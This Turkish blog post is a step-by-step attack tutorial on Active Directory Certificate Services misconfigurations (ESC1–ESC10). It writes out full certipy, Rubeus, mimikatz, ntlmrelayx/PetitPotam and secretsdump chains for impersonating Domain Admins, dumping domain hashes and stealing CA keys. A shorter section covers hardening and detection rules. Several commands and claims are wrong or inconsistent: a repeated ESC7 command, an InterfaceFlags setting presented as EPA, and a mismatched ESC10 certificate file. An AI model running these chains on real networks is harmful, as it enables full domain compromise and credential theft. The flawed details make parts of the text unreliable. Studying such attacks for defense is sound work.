AD Sertifika Servisleri Derinlemesine: ESC1'den ESC8'e Tüm Saldırı Yolları | Tağmaç - root@Tagoletta:~#
Contents

AD Sertifika Servisleri Derinlemesine: ESC1'den ESC8'e Tüm Saldırı Yolları

Mon Jun 29 2026 · 16 min read

Category: Security Research

# Active-Directory# ADCS# Exploit# Attack-Chain# Windows

Giriş: PKI'nın Karanlık Yüzü

Active Directory Certificate Services (ADCS), Microsoft'un kurumsal ortamlar için sunduğu Public Key Infrastructure (PKI) çözümüdür. Şirket içi sertifika yönetimi, akıllı kart kimlik doğrulaması, VPN sertifikaları, e-posta şifreleme ve kod imzalama gibi kritik işlevleri yerine getirir. Kurumsal Active Directory ortamlarının büyük çoğunluğunda en az bir ADCS sunucusu bulunur — ve bu sunucular onlarca yıl boyunca güvenlik testlerinin radarına girmeden çalışmıştır.

2021 yılında SpecterOps'tan Will Schroeder ve Lee Christensen, "Certified Pre-Owned" başlıklı devasa bir teknik araştırma yayımladı. Bu araştırma, ADCS'in nasıl domain ele geçirme silahına dönüştürülebileceğini 8 farklı saldırı kategorisiyle (ESC1–ESC8) belgeledi. Araştırmacıların keşfi son derece çarpıcıydı: Bir ADCS yanlış yapılandırması, domain'i tek bir certipy komutuyla teslim edebilir.

Bu yazıda ESC1'den ESC8'e (ve ESC9/ESC10'a değinerek) tüm saldırı vektörlerini, her birinin teknik koşullarını, LDAP attribute'larını, OID değerlerini ve adım adım sömürü yöntemlerini inceleyeceğiz.

ADCS Mimarisi: Temel Kavramlar

Root CA vs Enterprise CA

ADCS'de iki temel CA türü vardır:

  • Root CA (Kök Sertifika Otoritesi): PKI hiyerarşisinin en tepesinde yer alır. Kendi sertifikasını kendisi imzalar (self-signed). Kurumsal best practice'e göre offline tutulur ve doğrudan sertifika vermez.
  • Subordinate / Enterprise CA (Alt Sertifika Otoritesi): Root CA tarafından imzalanmış bir sertifikaya sahiptir. Active Directory'e entegre çalışır ve domain üyelerine sertifika verir. CORP-CA gibi isimler alır.

Enterprise CA, Active Directory'deki aşağıdaki container'larda kayıtlıdır:

CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=local

Certificate Template Nedir?

Sertifika şablonu (certificate template), bir CA'nın nasıl sertifika üreteceğini tanımlayan bir politika nesnesidir. LDAP'ta şu yerde bulunur:

CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=local

Her şablon, aşağıdaki kritik attribute'lara sahiptir:

Attribute Açıklama
msPKI-Certificate-Name-Flag SAN kontrolü (ESC1 burada yaşar)
msPKI-Enrollment-Flag Onay gereksinimi, PEND_ALL_REQUESTS
pKIExtendedKeyUsage EKU OID listesi
msPKI-RA-Signature Enrollment agent imzası gereksinimi
nTSecurityDescriptor Template üzerindeki ACL (ESC4 burada)
msPKI-Certificate-Application-Policy Application policies

EKU OID'leri ve Anlamları

Extended Key Usage (EKU), bir sertifikanın hangi amaçla kullanılabileceğini belirtir:

OID Kullanım Adı ADCS Relevansı
1.3.6.1.5.5.7.3.2 Client Authentication ESC1/ESC2 için gerekli
1.3.6.1.5.2.3.4 PKINIT Client Auth Kerberos PKINIT ile kimlik doğrulama
1.3.6.1.4.1.311.20.2.2 Smart Card Logon Windows akıllı kart girişi
2.5.29.37.0 Any Purpose ESC2 — tüm amaçlar için geçerli
1.3.6.1.4.1.311.20.2.1 Enrollment Agent ESC3 — başkası adına enrollment
1.3.6.1.5.5.7.3.3 Code Signing Kod imzalama

Enrollment Süreci

  1. Client, bir Certificate Signing Request (CSR) oluşturur
  2. CSR, CA'ya gönderilir (RPC, DCOM veya HTTP certsrv)
  3. CA, template politikasını kontrol eder
  4. Onay gerekmiyorsa (CT_FLAG_PEND_ALL_REQUESTS yoksa) sertifika anında verilir
  5. Sertifika, client'ın sertifika deposuna (certificate store) eklenir

Keşif: Ortamı Haritalandırmak

Certipy ile Vulnerable Template Keşfi

# Temel vulnerable template taraması
certipy find -u [email protected] -p 'Password123' -dc-ip 10.10.10.10 -vulnerable -stdout

# BloodHound için JSON çıktısı (eski format)
certipy find -u [email protected] -p 'Password123' -dc-ip 10.10.10.10 -old-bloodhound

# Tüm template detayları (vulnerable olmayanlar dahil)
certipy find -u [email protected] -p 'Password123' -dc-ip 10.10.10.10 -stdout

# Pass-the-Hash ile
certipy find -u [email protected] -hashes ':NT_HASH_HERE' -dc-ip 10.10.10.10 -vulnerable -stdout

# Kerberos ticket ile
certipy find -u [email protected] -k -no-pass -dc-ip 10.10.10.10 -vulnerable -stdout

Windows'tan Certify.exe ile

# Tüm vulnerable template'leri bul
Certify.exe find /vulnerable /currentuser

# Tüm template'leri listele
Certify.exe find /showAllPermissions

# Belirli bir CA'yı sorgula
Certify.exe find /ca:CORP-CA /vulnerable

# PKIAudit modülü ile
Import-Module PKIAudit
Get-PKIAuditSettings -CA 'corp.local\CORP-CA'
Invoke-PKIAudit

LDAP ile Manuel Keşif

# ldapsearch ile ESC1 potansiyeli olan şablonları bul
ldapsearch -H ldap://10.10.10.10 \
  -D "[email protected]" -w 'Password123' \
  -b "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=local" \
  "(msPKI-Certificate-Name-Flag:1.2.840.113556.1.4.803:=1)" \
  msPKI-Certificate-Name-Flag msPKI-Enrollment-Flag pKIExtendedKeyUsage

BloodHound'da ADCS

BloodHound 4.2+ sürümünde ADCS edge'leri mevcuttur:

  • Enroll — Template'e enrollment hakkı
  • GenericWrite — Template'i yazabilme (ESC4)
  • WriteDACL — Template DACL'ini değiştirme (ESC4)
  • ManageCertificates — CA üzerinde yönetim (ESC7)
  • ManageCA — CA konfigürasyonunu değiştirme (ESC7)

ESC1 — ENROLLEE_SUPPLIES_SUBJECT: En Yaygın ADCS Açığı

ESC1, en sık karşılaşılan ve en dramatik sonuçlar doğuran ADCS açığıdır. Saldırgan, enrollment sırasında Subject Alternative Name (SAN) alanını kendisi belirleyebilir ve bu sayede herhangi bir domain kullanıcısını — hatta Domain Admin'i — taklit edebilir.

Dört Zorunlu Koşul

Koşul 1 — CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT:

Şablon üzerinde aşağıdaki flag set edilmiş olmalıdır:

msPKI-Certificate-Name-Flag: CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT (0x00000001)

Bu flag, CA'ya "enrollment yapan kişi SAN alanını kendisi belirleyebilir" demektedir.

Koşul 2 — Client Authentication EKU:

Şablon, aşağıdakilerden en az birini içermelidir:

pKIExtendedKeyUsage: 1.3.6.1.5.5.7.3.2   (Client Authentication)
pKIExtendedKeyUsage: 1.3.6.1.5.2.3.4      (PKINIT Client Auth)
pKIExtendedKeyUsage: 1.3.6.1.4.1.311.20.2.2  (Smart Card Logon)
pKIExtendedKeyUsage: 2.5.29.37.0           (Any Purpose - ESC2)

Bu EKU değerlerinden biri mevcut değilse, elde edilen sertifika Kerberos PKINIT ile kimlik doğrulamak için kullanılamaz.

Koşul 3 — No Manager Approval:

msPKI-Enrollment-Flag: 0x00000000  (veya CT_FLAG_PEND_ALL_REQUESTS flag'i OLMAMALI)

CT_FLAG_PEND_ALL_REQUESTS (0x00000002) flag'i varsa, tüm enrollment istekleri CA yöneticisinin onayını bekler. Bu durumda ESC1 saldırısı engellenmiş olur.

Koşul 4 — Low-Privilege Users Can Enroll:

Template DACL'inde aşağıdaki gibi bir ACE bulunmalıdır:

Allow: CORP\Domain Users — Certificate-Enrollment (Extended Right: 0F58D46F-5A46-11D1-86F6-00C04FB9988E)

veya

Allow: NT AUTHORITY\Authenticated Users — Certificate-Enrollment

Certipy ile ESC1 Saldırısı — Adım Adım

# Adım 1: Vulnerable template'i bul
certipy find -u [email protected] -p 'Password123' -dc-ip 10.10.10.10 -vulnerable -stdout
# Çıktıda: "[!] ESC1 — 'VulnerableTemplate'" görmelisiniz

# Adım 2: Administrator UPN ile sertifika iste
certipy req \
  -u [email protected] \
  -p 'Password123' \
  -ca CORP-CA \
  -template VulnerableTemplate \
  -upn [email protected] \
  -dc-ip 10.10.10.10

# Çıktı:
# [*] Requesting certificate via RPC
# [*] Successfully requested certificate
# [*] Request ID is 42
# [*] Got certificate with UPN '[email protected]'
# [*] Certificate object SID is 'S-1-5-21-...-500'
# [*] Saved certificate and private key to 'administrator.pfx'

# Adım 3: Sertifika ile Kerberos kimlik doğrulaması
certipy auth \
  -pfx administrator.pfx \
  -dc-ip 10.10.10.10 \
  -domain corp.local

# Çıktı:
# [*] Using principal: [email protected]
# [*] Trying to get TGT...
# [*] Got TGT
# [*] Saved credential cache to 'administrator.ccache'
# [*] Trying to retrieve NT hash for 'administrator'
# [*] Got NT hash for '[email protected]': 31d6cfe0d16ae931b73c59d7e0c089c0

# Adım 4: NT Hash ile secretsdump
python3 secretsdump.py \
  -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 \
  [email protected]

# Veya Pass-the-Hash
python3 wmiexec.py \
  -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 \
  [email protected]

Windows'tan Certify + Rubeus ile

# Adım 1: Sertifika iste
Certify.exe request /ca:CORP-CA /template:VulnerableTemplate /altname:administrator

# Base64 çıktısını kopyala, Linux'ta dönüştür:
# openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out administrator.pfx

# Adım 2: Rubeus ile TGT al
Rubeus.exe asktgt /user:administrator /certificate:administrator.pfx /password:"" /nowrap

# Adım 3: TGT'yi import et
Rubeus.exe ptt /ticket:BASE64_TICKET_HERE

# Adım 4: DCSync
mimikatz.exe "lsadump::dcsync /domain:corp.local /all" "exit"

Neden Bu Kadar Tehlikeli?

  1. Yetki gerektirmez: Domain Users grubundaki herhangi bir kullanıcı saldırıyı gerçekleştirebilir.
  2. Tek komutla Domain Admin: Enrollment → TGT → NT hash zinciri 3 komutla tamamlanır.
  3. Log kaydı azdır: Sertifika enrollment işlemi meşru görünür; anormal olan sadece UPN değeridir.
  4. Kalıcılık sağlar: Sertifika süresi boyunca (genellikle 1-2 yıl) geçerlidir.

ESC2 — Any Purpose EKU: Kısıtsız Sertifika

ESC2, şablonun EKU alanında szOID_ANY_APPLICATION_POLICY (2.5.29.37.0) OID'ine sahip olması veya EKU alanının tamamen boş olması durumunda geçerlidir.

Teknik Detay

pKIExtendedKeyUsage: 2.5.29.37.0  (Any Purpose)
# veya EKU alanı hiç yoksa (tüm kullanımlar izinli)

Any Purpose EKU'su, sertifikanın herhangi bir amaç için — Kerberos kimlik doğrulaması, enrollment agent olarak kullanım, kod imzalama vb. — geçerli olduğunu belirtir. Bu da ESC1'deki gibi Client Authentication gereksinimini karşılar.

ESC2 Saldırı Vektörü

# ESC2 template ile sertifika al (SAN belirtmeden)
certipy req \
  -u [email protected] \
  -p 'Password123' \
  -ca CORP-CA \
  -template AnyPurposeTemplate \
  -dc-ip 10.10.10.10

# Bu sertifikayı ESC3 saldırısında enrollment agent olarak kullan
certipy req \
  -u [email protected] \
  -p 'Password123' \
  -ca CORP-CA \
  -template User \
  -on-behalf-of 'corp\administrator' \
  -pfx anypurpose.pfx \
  -dc-ip 10.10.10.10

ESC2, tek başına kullanıldığında SAN kontrolü yoksa sınırlı bir tehdit oluşturur; ancak ESC3 pivot noktası olarak çok tehlikeli hale gelir.

ESC3 — Certificate Request Agent: Başkası Adına Enrollment

ESC3, iki farklı sertifika şablonunu zincir saldırı olarak kullanan karmaşık bir yöntemdir. İlk şablon Enrollment Agent EKU içerirken, ikinci şablon bu agent sertifikasının başka kullanıcılar adına kullanılmasına izin verir.

Koşullar

Şablon 1 — Enrollment Agent Şablonu:

  • EKU: szOID_ENROLLMENT_AGENT (1.3.6.1.4.1.311.20.2.1)
  • Enrollment: Domain Users
  • Onay: Gerekmez

Şablon 2 — On-Behalf-Of İzni:

  • msPKI-RA-Signature: 0 (enrollment agent imzası gerektirmez)
  • veya enrollment agent'ın bu şablonda enrollment hakkı var

Certipy ile ESC3 Saldırısı

# Adım 1: Enrollment Agent sertifikası al
certipy req \
  -u [email protected] \
  -p 'Password123' \
  -ca CORP-CA \
  -template ESC3-CertRequestAgent \
  -dc-ip 10.10.10.10
# Çıktı: jdoe.pfx (enrollment agent sertifikası)

# Adım 2: Agent sertifikasıyla administrator adına sertifika iste
certipy req \
  -u [email protected] \
  -p 'Password123' \
  -ca CORP-CA \
  -template User \
  -on-behalf-of 'corp\administrator' \
  -pfx jdoe.pfx \
  -dc-ip 10.10.10.10
# Çıktı: administrator.pfx

# Adım 3: Kimlik doğrulaması
certipy auth \
  -pfx administrator.pfx \
  -dc-ip 10.10.10.10 \
  -domain corp.local

Gerçek Dünya Senaryosu

ESC3 için genellikle iki ayrı şablona ihtiyaç duyulur. Bu iki şablon farklı isimlerde olabilir ve BloodHound'da görünür. msPKI-RA-Signature: 0 olan herhangi bir kullanıcı şablonu, ESC3'ün ikinci adımı için hedef olabilir.

ESC4 — Template Access Control Abuse: DACL Manipülasyonu

ESC4, bir şablon üzerinde yazma iznine sahip olan (GenericWrite, WriteDACL, WriteOwner, GenericAll) bir kullanıcının o şablonu ESC1'e dönüştürebileceği saldırıdır.

Koşullar

Hedef şablon üzerinde:
- GenericWrite ACE, veya
- WriteDACL ACE, veya
- WriteOwner ACE, veya
- GenericAll ACE

Certipy ile ESC4 Saldırısı

# Adım 1: Mevcut şablon yapılandırmasını kaydet (geri almak için)
certipy template \
  -u [email protected] \
  -p 'Password123' \
  -template VulnerableTemplate \
  -save-old \
  -dc-ip 10.10.10.10
# Çıktı: VulnerableTemplate.json (backup)

# Adım 2: Şablonu ESC1'e dönüştür
# certipy otomatik olarak:
# - msPKI-Certificate-Name-Flag: CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT ekler
# - CT_FLAG_PEND_ALL_REQUESTS kaldırır
# - Domain Users'a enrollment hakkı verir
certipy template \
  -u [email protected] \
  -p 'Password123' \
  -template VulnerableTemplate \
  -dc-ip 10.10.10.10

# Adım 3: ESC1 saldırısı yap
certipy req \
  -u [email protected] \
  -p 'Password123' \
  -ca CORP-CA \
  -template VulnerableTemplate \
  -upn [email protected] \
  -dc-ip 10.10.10.10

# Adım 4: Kimlik doğrulaması
certipy auth \
  -pfx administrator.pfx \
  -dc-ip 10.10.10.10

# Adım 5: TEMİZLİK — Şablonu eski haline getir (önemli!)
certipy template \
  -u [email protected] \
  -p 'Password123' \
  -template VulnerableTemplate \
  -configuration VulnerableTemplate.json \
  -dc-ip 10.10.10.10

Windows'tan PowerView ile

# Şablon üzerinde WriteDACL varsa
Import-Module PowerView

# Önce mevcut DACL'i gör
Get-DomainObjectAcl -Identity "VulnerableTemplate" -ResolveGUIDs |
  Where-Object { $_.SecurityIdentifier -match "S-1-5-21-...-1105" }

# GenericAll ver (ardından ESC1 uygula)
Add-DomainObjectAcl \
  -TargetIdentity "VulnerableTemplate" \
  -PrincipalIdentity "jdoe" \
  -Rights All

ESC5 — PKI Object / CA Object DACL: Altyapı Kontrolü

ESC5, CA nesnesinin kendisi veya PKI container'ları üzerindeki DACL zafiyetlerini kapsar. Bu kategori geniştir ve şunları içerir:

  1. CA Nesnesindeki WriteDACL: CN=CORP-CA,CN=Enrollment Services,... üzerinde yazma izni
  2. PKI Container'larındaki DACL: CN=Public Key Services,... üzerinde izinler
  3. CA makinesinin kendisindeki yönetim hakları

ESC5, domain'deki PKI altyapısının kontrolünü ele geçirmeye yarar.

BloodHound'da ESC5 Tespiti

MATCH (u:User)-[:WriteDACL|GenericWrite|GenericAll]->(c:Domain)
WHERE c.name CONTAINS "CA"
RETURN u, c

ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2: CA Seviyesi Flag

ESC6, CA'nın kendisinde set edilmiş olan EDITF_ATTRIBUTESUBJECTALTNAME2 flag'inden kaynaklanır. Bu flag, herhangi bir şablonda SAN belirlemeye izin verir — şablon CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT içermese bile.

Flag'i Kontrol Etme

# certutil ile kontrol (Windows)
certutil -config "corp.local\CORP-CA" -getreg "policy\EditFlags"

# Çıktıda 0x00040000 (EDITF_ATTRIBUTESUBJECTALTNAME2) varsa ESC6!
# Örnek çıktı:
# HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\CORP-CA\PolicyModules\...
# EditFlags REG_DWORD = 0x15014e (1380686)

# Certipy ile de tespit edilir
certipy find -u [email protected] -p 'Password123' -dc-ip 10.10.10.10 -vulnerable -stdout
# [!] ESC6 — CA 'CORP-CA': EDITF_ATTRIBUTESUBJECTALTNAME2 set

ESC6 Saldırısı

# EDITF_ATTRIBUTESUBJECTALTNAME2 aktifse, normal bir User şablonuyla bile UPN belirlenebilir
certipy req \
  -u [email protected] \
  -p 'Password123' \
  -ca CORP-CA \
  -template User \
  -upn [email protected] \
  -dc-ip 10.10.10.10

# Sertifika alındı, artık kimlik doğrulama
certipy auth \
  -pfx administrator.pfx \
  -dc-ip 10.10.10.10 \
  -domain corp.local

Dikkat Notu

Microsoft, Mayıs 2022'de yayımladığı KB5014754 güncellemesiyle EDITF_ATTRIBUTESUBJECTALTNAME2 flag'ini devre dışı bırakan bazı sertifika mapping değişiklikleri yaptı. Ancak eski sistemlerde bu flag hâlâ aktif olabilir.

ESC7 — CA Access Control: ManageCA ve ManageCertificates

ESC7, bir kullanıcının CA üzerinde ManageCA veya ManageCertificates yetkisine sahip olduğu durumları kapsar.

ManageCA (CA Yöneticisi)

ManageCA yetkisi şunları yapmaya izin verir:

  • CA konfigürasyonunu değiştirme
  • EDITF_ATTRIBUTESUBJECTALTNAME2 flag'ini aktifleştirme → ESC6
  • Yeni yönetici hesapları oluşturma
  • CA sertifikasını yenileme

ManageCertificates (Sertifika Yöneticisi)

ManageCertificates yetkisi şunlara izin verir:

  • Bekleyen (pending) enrollment isteklerini onaylama → ESC7 alt vektörü
  • Sertifikaları iptal etme

ESC7 Saldırısı — SubCA Şablonu ile

# Adım 1: ManageCA yetkisiyle SubCA şablonunu aktifleştir
certipy ca \
  -u [email protected] \
  -p 'Password123' \
  -ca CORP-CA \
  -enable-template SubCA \
  -dc-ip 10.10.10.10

# Adım 2: SubCA şablonuyla administrator UPN ile istek yap
# (Bu istek normalde reddedilir çünkü SubCA Manager Approval gerektirir)
certipy req \
  -u [email protected] \
  -p 'Password123' \
  -ca CORP-CA \
  -template SubCA \
  -upn [email protected] \
  -dc-ip 10.10.10.10
# Çıktı: Request ID: 87 (PENDING veya DENIED olarak gelecek)

# Adım 3: ManageCA yetkisiyle isteği onayla
certipy ca \
  -u [email protected] \
  -p 'Password123' \
  -ca CORP-CA \
  -issue-request 87 \
  -dc-ip 10.10.10.10

# Adım 4: Onaylanan sertifikayı al
certipy req \
  -u [email protected] \
  -p 'Password123' \
  -ca CORP-CA \
  -retrieve 87 \
  -dc-ip 10.10.10.10
# Çıktı: administrator.pfx

# Adım 5: Kimlik doğrulaması
certipy auth \
  -pfx administrator.pfx \
  -dc-ip 10.10.10.10 \
  -domain corp.local

ESC7 — EDITF_ATTRIBUTESUBJECTALTNAME2 Aktivasyonu

# ManageCA yetkisiyle ESC6 flag'ini aç
certipy ca \
  -u [email protected] \
  -p 'Password123' \
  -ca CORP-CA \
  -enable-template SubCA \
  -dc-ip 10.10.10.10

# Alternatif: certutil ile (Windows)
certutil -setreg "CA\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\EditFlags" +EDITF_ATTRIBUTESUBJECTALTNAME2
net stop certsvc && net start certsvc

ESC8 — NTLM Relay to AD CS HTTP Enrollment: Zincir Saldırı

ESC8, ADCS'in en spektaküler saldırı vektörüdür. NTLM relay saldırısını PetitPotam ya da başka bir coercion tekniğiyle birleştirerek Domain Controller'ın machine account sertifikasını elde eder. Bu sertifika, DC'nin NT hash'ini almak için kullanılır ve ardından DCSync ile tüm domain ele geçirilir.

Ön Koşullar

  1. certsrv HTTP endpoint aktif: http://ca01/certsrv/ erişilebilir olmalı
  2. NTLM authentication açık: IIS üzerinde NTLM kabul ediliyor
  3. EPA (Extended Protection for Authentication) KAPALI: Varsayılan kurulumda kapalıdır
  4. HTTPS zorunlu değil: HTTP relay mümkün olmalı

Tespit

# certsrv endpoint varlığı
curl -I http://ca01/certsrv/
# HTTP/1.1 401 Unauthorized → NTLM challenge geliyorsa ESC8 mümkün

# certipy ile
certipy find -u [email protected] -p 'Password123' -dc-ip 10.10.10.10 -stdout
# [!] ESC8 — 'CORP-CA': HTTP enrollment enabled without EPA

Tam Saldırı Zinciri — 3 Terminal

Terminal 1: NTLM Relay Listener

# impacket-ntlmrelayx
impacket-ntlmrelayx \
  -t http://ca01/certsrv/ \
  --adcs \
  --template DomainController \
  -smb2support \
  --no-http-server

# Alternatif: krb5-relay ile Kerberos relay (daha yeni ortamlar için)

Terminal 2: DC Coercion (PetitPotam)

# PetitPotam ile DC'yi NTLM auth yapmaya zorla
python3 PetitPotam.py \
  -u jdoe \
  -p 'Password123' \
  -d corp.local \
  192.168.1.50 \
  10.10.10.10

# Alternatif coercion teknikleri:
# PrinterBug (MS-RPRN)
python3 printerbug.py corp.local/jdoe:'Password123'@10.10.10.10 192.168.1.50

# DFSCoerce
python3 dfscoerce.py -u jdoe -p 'Password123' -d corp.local 192.168.1.50 10.10.10.10

# Coercer (otomatik tüm coercion vektörlerini dene)
Coercer coerce -l 192.168.1.50 -t 10.10.10.10 -u jdoe -p 'Password123' -d corp.local

Terminal 3: Kimlik Doğrulama ve DCSync

# ntlmrelayx başarılı olduğunda dc01.pfx elde edilir
# Certipy ile PKINIT kimlik doğrulaması
certipy auth \
  -pfx dc01.pfx \
  -dc-ip 10.10.10.10 \
  -domain corp.local

# Çıktı:
# [*] Got TGT
# [*] NT hash for 'DC01$': 8f3b4c2d1a9e5f7b2c4d6e8a1b3c5d7e

# secretsdump ile tüm domain hash'lerini dök
python3 secretsdump.py \
  -hashes ':8f3b4c2d1a9e5f7b2c4d6e8a1b3c5d7e' \
  'corp.local/[email protected]'

# Çıktı:
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
# krbtgt:502:aad3b435b51404eeaad3b435b51404ee:e4e2c6abb16a5b7ab1b58c2a5e5a9d1c:::
# [*] MACHINE$:plain_password_hex:...

# Pass-the-Hash ile DC'ye bağlan
python3 wmiexec.py \
  -hashes ':31d6cfe0d16ae931b73c59d7e0c089c0' \
  [email protected]

ESC8 Neden Bu Kadar Tehlikeli?

  • Ağdaki herhangi biri saldırabilir: Hatta domain hesabı olmayan biri bile coercion yapabilirse (anonim erişim varsa).
  • Hiçbir şablon yapılandırması değiştirilmez: Tamamen mevcut altyapı kullanılır.
  • Domain Controller kimliğine bürünme: DC'nin machine account sertifikası en yüksek ayrıcalıkları verir.
  • Log izleri sınırlı: HTTP enrollment, normal CA trafiği gibi görünür.

ESC9 ve ESC10 — Weak Certificate Mapping

ESC9 ve ESC10, 2022 sonrası Microsoft'un sertifika mapping değişikliklerini takip eden görece yeni saldırı vektörleridir.

ESC9 — No Security Extension

Koşul: msPKI-Enrollment-Flag'de CT_FLAG_NO_SECURITY_EXTENSION (0x80000) set edilmiş

Bu flag, oluşturulan sertifikada szOID_NTDS_CA_SECURITY_EXT (1.3.6.1.4.1.311.25.2) extension'ının eklenmemesine yol açar. Bu extension, sertifikayı bir Active Directory SID'ine bağlar. Extension yoksa, weak UPN mapping kullanılır.

ESC10 — Weak Certificate Mapping via GenericWrite

# Koşul: Hedef kullanıcı üzerinde GenericWrite
# Saldırı: Kullanıcının userPrincipalName'ini değiştir → farklı kullanıcı adına sertifika al → değiştir geri

# Adım 1: Hedef kullanıcının UPN'ini değiştir
python3 bloodyAD.py \
  -u jdoe \
  -p 'Password123' \
  -d corp.local \
  --host 10.10.10.10 \
  set object victim userPrincipalName -v [email protected]

# Adım 2: Sertifika al (UPN şimdi administrator)
certipy req \
  -u [email protected] \
  -p 'Password123' \
  -ca CORP-CA \
  -template User \
  -dc-ip 10.10.10.10

# Adım 3: UPN'i geri al
python3 bloodyAD.py \
  -u jdoe -p 'Password123' -d corp.local --host 10.10.10.10 \
  set object victim userPrincipalName -v [email protected]

# Adım 4: Sertifika ile kimlik doğrulama (administrator olarak)
certipy auth -pfx jdoe.pfx -dc-ip 10.10.10.10 -domain corp.local

ADCS ile Domain Persistence: Sertifika Tabanlı Kalıcılık

Sertifika Tabanlı Kalıcılık

Normal bir Domain Admin hesabının şifresi değiştirilse bile, geçerli bir sertifika varsa Kerberos PKINIT ile kimlik doğrulaması yapılmaya devam edilebilir:

# Uzun süreli geçerli sertifika oluştur (2 yıl geçerli User şablonu ile)
certipy req -u [email protected] -p 'Password' -ca CORP-CA -template User -dc-ip 10.10.10.10

# Şifre değişse bile bu sertifika 2 yıl boyunca geçerli kalır
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10

Golden Certificate — CA Private Key Ele Geçirme

CA'nın private key'i ele geçirilirse, süresi dolmamış herhangi bir sertifika taklit edilebilir:

# Mimikatz ile CA private key'i çıkar (CA sunucusunda)
mimikatz.exe "crypto::capi" "crypto::certificates /systemstore:local_machine /store:my /export" "exit"

# veya
mimikatz.exe "lsadump::backupkeys /system:dc01.corp.local /export" "exit"

Bu private key sayesinde, herhangi bir kullanıcı adına sertifika sahtelenerek (forge) kalıcılık sağlanabilir. Bu tür sertifikaları iptal etmek için CA private key'in de değiştirilmesi gerekir.

DPAPI Bağlantısı

CA private key'ler Windows'ta DPAPI ile korunan CNG anahtar depolamada tutulur. mimikatz lsadump::backupkeys bu key'lere erişim sağlar.

Savunma ve Tespit

Önleyici Tedbirler

1. Periyodik ADCS Taraması

# Haftalık otomatik tarama (cron/görev zamanlayıcı)
certipy find -u [email protected] -p 'PASSWORD' -dc-ip 10.10.10.10 -vulnerable -output adcs-weekly-report

2. ESC1 İçin Düzeltme

Template'deki CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag'ini kaldır:

# PKI MMC -> Certificate Templates -> Template Properties -> Subject Name
# "Supply in the request" seçeneğini kaldır
# "Build from this Active Directory information" seç

# Veya LDAP ile
Set-ADObject -Identity "CN=VulnerableTemplate,CN=Certificate Templates,..." `
  -Replace @{"msPKI-Certificate-Name-Flag"="0"}

3. HTTP Enrollment'ta EPA Zorunlu Kılma (ESC8 için)

# IIS üzerinde certsrv için EPA aktifleştir
Import-Module WebAdministration
Set-WebConfigurationProperty \
  -Filter "system.webServer/security/authentication/windowsAuthentication" \
  -PSPath "IIS:\Sites\Default Web Site\CertSrv" \
  -Name "extendedProtection.tokenChecking" \
  -Value "Required"

# Veya certutil ile
certutil -setreg "CA\InterfaceFlags" +IF_ENFORCEENCRYPTICERTREQUEST

4. EDITF_ATTRIBUTESUBJECTALTNAME2 Kapatma (ESC6)

# CA'da bu flag'i kaldır
certutil -setreg "CA\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\EditFlags" -EDITF_ATTRIBUTESUBJECTALTNAME2
net stop certsvc && net start certsvc

5. Güçlü Sertifika Binding (ESC9/ESC10)

# Registry'de StrongCertificateBindingEnforcement aktifleştir
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\Kdc" `
  -Name "StrongCertificateBindingEnforcement" -Value 2 -Type DWord

6. Template Onay Zorunluluğu (ESC1/ESC2/ESC3)

# Template üzerinde Manager Approval aktifleştir
# PKI MMC -> Certificate Templates -> Properties -> Issuance Requirements
# "CA certificate manager approval" kutusunu işaretle

Tespit: SIEM ve Event Log Kuralları

Event ID Log Source Açıklama
4886 Security Certificate requested (her enrollment)
4887 Security Certificate issued (başarılı enrollment)
4888 Security Certificate request denied
4889 Security Certificate put in pending state
4890 Security Settings changed for CA
4896 Security One or more rows deleted from certificate database

Kritik Tespit Kuralı — Olağandışı UPN Talebi:

EventID = 4887
AND RequesterName != CertificateSubject
AND (
  CertificateSubject CONTAINS "administrator" OR
  CertificateSubject CONTAINS "krbtgt" OR
  CertificateSubject CONTAINS "DC01$"
)

Kritik Tespit Kuralı — Machine Account HTTP Enrollment:

EventID = 4887
AND RequesterName ENDSWITH "$"
AND RequestSource = "HTTP"
AND TemplateName = "DomainController"

Microsoft ADCS Denetim Scripti

# Tüm template'leri kontrol et
Import-Module ActiveDirectory

$templates = Get-ADObject -SearchBase \
  "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=local" \
  -Filter {objectClass -eq "pKICertificateTemplate"} \
  -Properties msPKI-Certificate-Name-Flag, msPKI-Enrollment-Flag, pKIExtendedKeyUsage

foreach ($t in $templates) {
  $nameFlag = $t."msPKI-Certificate-Name-Flag"
  $enrollFlag = $t."msPKI-Enrollment-Flag"

  if ($nameFlag -band 0x1) {
    Write-Warning "[ESC1 Candidate] Template: $($t.Name) — ENROLLEE_SUPPLIES_SUBJECT set"
  }
  if ($enrollFlag -band 0x80000) {
    Write-Warning "[ESC9 Candidate] Template: $($t.Name) — NO_SECURITY_EXTENSION set"
  }
}

Referanslar ve Ek Okuma

Sıkça Sorulan Sorular

ADCS ESC1 nedir?

ESC1, düşük yetkili bir kullanıcının hem sertifika talep edebildiği hem de rastgele bir Subject Alternative Name (SAN) verebildiği bir şablon yanlış yapılandırmasıdır; çünkü şablonda ENROLLEE_SUPPLIES_SUBJECT flag'i ile birlikte client-authentication EKU'su bulunur. Saldırgan, konu (subject) olarak bir Domain Admin'i belirten bir sertifika talep eder ve ardından o admin olarak kimlik doğrular.

Certipy ile ADCS nasıl sömürülür?

